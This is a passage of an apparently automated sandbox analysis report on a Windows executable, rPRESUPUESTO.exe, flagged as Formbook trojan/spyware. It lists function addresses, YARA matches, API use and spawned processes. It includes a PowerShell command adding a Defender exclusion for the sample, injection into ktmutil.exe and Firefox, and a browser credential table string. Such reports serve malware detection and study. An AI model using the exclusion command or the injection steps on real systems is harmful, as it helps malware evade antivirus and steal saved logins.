Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0189FCF2	5_2_0189FCF2
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01859C32	5_2_01859C32
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0189FFB1	5_2_0189FFB1
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0189FF09	5_2_0189FF09
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E1F92	5_2_017E1F92
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E9EB0	5_2_017E9EB0
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	Code function: 8_2_04C6BFCA	8_2_04C6BFCA
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02BE02C0	9_2_02BE02C0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C00274	9_2_02C00274
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C203E6	9_2_02C203E6
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B6E3F0	9_2_02B6E3F0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C1A352	9_2_02C1A352
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02BF2000	9_2_02BF2000
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C181CC	9_2_02C181CC
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C141A2	9_2_02C141A2
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C201AA	9_2_02C201AA
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02BFA118	9_2_02BFA118
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B50100	9_2_02B50100
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02BE8158	9_2_02BE8158
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B7C6E0	9_2_02B7C6E0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B5C7C0	9_2_02B5C7C0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B60770	9_2_02B60770
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B84750	9_2_02B84750
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C0E4F6	9_2_02C0E4F6
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C12446	9_2_02C12446
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C04420	9_2_02C04420
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C20591	9_2_02C20591
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B60535	9_2_02B60535
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B5EA80	9_2_02B5EA80
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C16BD7	9_2_02C16BD7
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C1AB40	9_2_02C1AB40
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B468B8	9_2_02B468B8
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B8E8F0	9_2_02B8E8F0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B62840	9_2_02B62840
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B6A840	9_2_02B6A840
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B629A0	9_2_02B629A0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C2A9A6	9_2_02C2A9A6
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B76962	9_2_02B76962
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C1EEDB	9_2_02C1EEDB
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B72E90	9_2_02B72E90
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C1CE93	9_2_02C1CE93
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C1EE26	9_2_02C1EE26
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B60E59	9_2_02B60E59
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02BDEFA0	9_2_02BDEFA0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B6CFE0	9_2_02B6CFE0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B52FC8	9_2_02B52FC8
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B80F30	9_2_02B80F30
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02BA2F28	9_2_02BA2F28
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C02F30	9_2_02C02F30
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02BD4F40	9_2_02BD4F40
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B50CF2	9_2_02B50CF2
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C00CB5	9_2_02C00CB5
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B60C00	9_2_02B60C00
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B78DBF	9_2_02B78DBF
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B5ADE0	9_2_02B5ADE0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02BFCD1F	9_2_02BFCD1F
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B6AD00	9_2_02B6AD00
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B652A0	9_2_02B652A0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C012ED	9_2_02C012ED
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B7B2C0	9_2_02B7B2C0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02BA739A	9_2_02BA739A
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C1132D	9_2_02C1132D
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B4D34C	9_2_02B4D34C
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C0F0CC	9_2_02C0F0CC
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C1F0E0	9_2_02C1F0E0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C170E9	9_2_02C170E9
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B670C0	9_2_02B670C0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B6B1B0	9_2_02B6B1B0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C2B16B	9_2_02C2B16B
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B4F172	9_2_02B4F172
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B9516C	9_2_02B9516C
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C116CC	9_2_02C116CC
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C1F7B0	9_2_02C1F7B0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B51460	9_2_02B51460
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C1F43F	9_2_02C1F43F
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02BFD5B0	9_2_02BFD5B0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C17571	9_2_02C17571
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C0DAC6	9_2_02C0DAC6
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02BFDAAC	9_2_02BFDAAC
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02BA5AA0	9_2_02BA5AA0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C01AA3	9_2_02C01AA3
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C17A46	9_2_02C17A46
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C1FA49	9_2_02C1FA49
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02BD3A6C	9_2_02BD3A6C
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B7FB80	9_2_02B7FB80
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B9DBF9	9_2_02B9DBF9
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02BD5BF0	9_2_02BD5BF0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C1FB76	9_2_02C1FB76
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B638E0	9_2_02B638E0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02BCD800	9_2_02BCD800
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02BF5910	9_2_02BF5910
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B69950	9_2_02B69950
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B7B950	9_2_02B7B950
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B69EB0	9_2_02B69EB0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B61F92	9_2_02B61F92
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C1FFB1	9_2_02C1FFB1
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C1FF09	9_2_02C1FF09
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C1FCF2	9_2_02C1FCF2
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02BD9C32	9_2_02BD9C32
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B7FDC0	9_2_02B7FDC0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C11D5A	9_2_02C11D5A
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02C17D73	9_2_02C17D73
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B63D40	9_2_02B63D40
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_00191C30	9_2_00191C30
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_001AA5D0	9_2_001AA5D0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_0018CDFA	9_2_0018CDFA
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_0018CE00	9_2_0018CE00
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_0018D020	9_2_0018D020
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_0018B097	9_2_0018B097
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_0018B0A0	9_2_0018B0A0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_00193770	9_2_00193770
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_0019376B	9_2_0019376B
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02A1C0CC	9_2_02A1C0CC
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02A1B138	9_2_02A1B138
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02A1BC18	9_2_02A1BC18
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02A1BD34	9_2_02A1BD34

Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: String function: 02BDF290 appears 105 times
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: String function: 02BA7E54 appears 102 times
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: String function: 02B95130 appears 58 times
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: String function: 02BCEA12 appears 86 times
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: String function: 02B4B970 appears 280 times
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: String function: 01815130 appears 58 times
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: String function: 0184EA12 appears 86 times
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: String function: 0185F290 appears 105 times
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: String function: 017CB970 appears 280 times
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: String function: 01827E54 appears 111 times

Source: rPRESUPUESTO.exe

Static PE information: invalid certificate

Source: rPRESUPUESTO.exe, 00000000.00000002.2177247151.0000000008260000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs rPRESUPUESTO.exe
Source: rPRESUPUESTO.exe, 00000000.00000002.2156547994.0000000003B94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs rPRESUPUESTO.exe
Source: rPRESUPUESTO.exe, 00000000.00000000.2107699346.000000000058E000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamegESw.exe, vs rPRESUPUESTO.exe
Source: rPRESUPUESTO.exe, 00000000.00000002.2154526498.0000000002951000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRT.dll. vs rPRESUPUESTO.exe
Source: rPRESUPUESTO.exe, 00000000.00000002.2170963335.00000000076B0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameRT.dll. vs rPRESUPUESTO.exe
Source: rPRESUPUESTO.exe, 00000000.00000002.2153184688.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs rPRESUPUESTO.exe
Source: rPRESUPUESTO.exe, 00000005.00000002.2328360185.0000000001347000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamektmutil.exej% vs rPRESUPUESTO.exe
Source: rPRESUPUESTO.exe, 00000005.00000002.2328716564.00000000018CD000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs rPRESUPUESTO.exe
Source: rPRESUPUESTO.exe	Binary or memory string: OriginalFilenamegESw.exe, vs rPRESUPUESTO.exe

Source: rPRESUPUESTO.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 5.2.rPRESUPUESTO.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 5.2.rPRESUPUESTO.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.2328576677.0000000001600000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.4590404042.0000000005560000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000009.00000002.4586829537.0000000000180000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000009.00000002.4588343221.0000000000720000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000009.00000002.4588414444.0000000000760000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.4588318441.0000000004C60000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.2329601584.00000000038F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.2328137343.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.2329601584.0000000002EF0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.4588318441.0000000004260000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: rPRESUPUESTO.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.rPRESUPUESTO.exe.3d2c408.1.raw.unpack, kMIXWOixU8twbSWtxx.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.rPRESUPUESTO.exe.3d2c408.1.raw.unpack, Awxd2xNHUlt8uvrdfk.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.rPRESUPUESTO.exe.3d2c408.1.raw.unpack, Awxd2xNHUlt8uvrdfk.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.rPRESUPUESTO.exe.3d2c408.1.raw.unpack, Awxd2xNHUlt8uvrdfk.cs	Security API names: _0020.AddAccessRule
Source: 0.2.rPRESUPUESTO.exe.8260000.5.raw.unpack, kMIXWOixU8twbSWtxx.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.rPRESUPUESTO.exe.3db0428.2.raw.unpack, kMIXWOixU8twbSWtxx.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.rPRESUPUESTO.exe.8260000.5.raw.unpack, Awxd2xNHUlt8uvrdfk.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.rPRESUPUESTO.exe.8260000.5.raw.unpack, Awxd2xNHUlt8uvrdfk.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.rPRESUPUESTO.exe.8260000.5.raw.unpack, Awxd2xNHUlt8uvrdfk.cs	Security API names: _0020.AddAccessRule
Source: 0.2.rPRESUPUESTO.exe.3db0428.2.raw.unpack, Awxd2xNHUlt8uvrdfk.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.rPRESUPUESTO.exe.3db0428.2.raw.unpack, Awxd2xNHUlt8uvrdfk.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.rPRESUPUESTO.exe.3db0428.2.raw.unpack, Awxd2xNHUlt8uvrdfk.cs	Security API names: _0020.AddAccessRule

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@11/7@16/14

Source: C:\Users\user\Desktop\rPRESUPUESTO.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rPRESUPUESTO.exe.log

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6528:120:WilError_03
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\.net data provider for sqlserver

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ggwsvlml.yr5.ps1

Source: rPRESUPUESTO.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: rPRESUPUESTO.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.98%

Source: C:\Users\user\Desktop\rPRESUPUESTO.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\rPRESUPUESTO.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: ktmutil.exe, 00000009.00000002.4587088156.0000000000695000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4587088156.0000000000666000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4587088156.0000000000671000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000009.00000003.2511663435.0000000000666000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: rPRESUPUESTO.exe

ReversingLabs: Detection: 68%

Source: unknown	Process created: C:\Users\user\Desktop\rPRESUPUESTO.exe "C:\Users\user\Desktop\rPRESUPUESTO.exe"
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\rPRESUPUESTO.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process created: C:\Users\user\Desktop\rPRESUPUESTO.exe "C:\Users\user\Desktop\rPRESUPUESTO.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	Process created: C:\Windows\SysWOW64\ktmutil.exe "C:\Windows\SysWOW64\ktmutil.exe"
Source: C:\Windows\SysWOW64\ktmutil.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\rPRESUPUESTO.exe"	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process created: C:\Users\user\Desktop\rPRESUPUESTO.exe "C:\Users\user\Desktop\rPRESUPUESTO.exe"	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	Process created: C:\Windows\SysWOW64\ktmutil.exe "C:\Windows\SysWOW64\ktmutil.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: rsaenh.dll	Jump to behavior
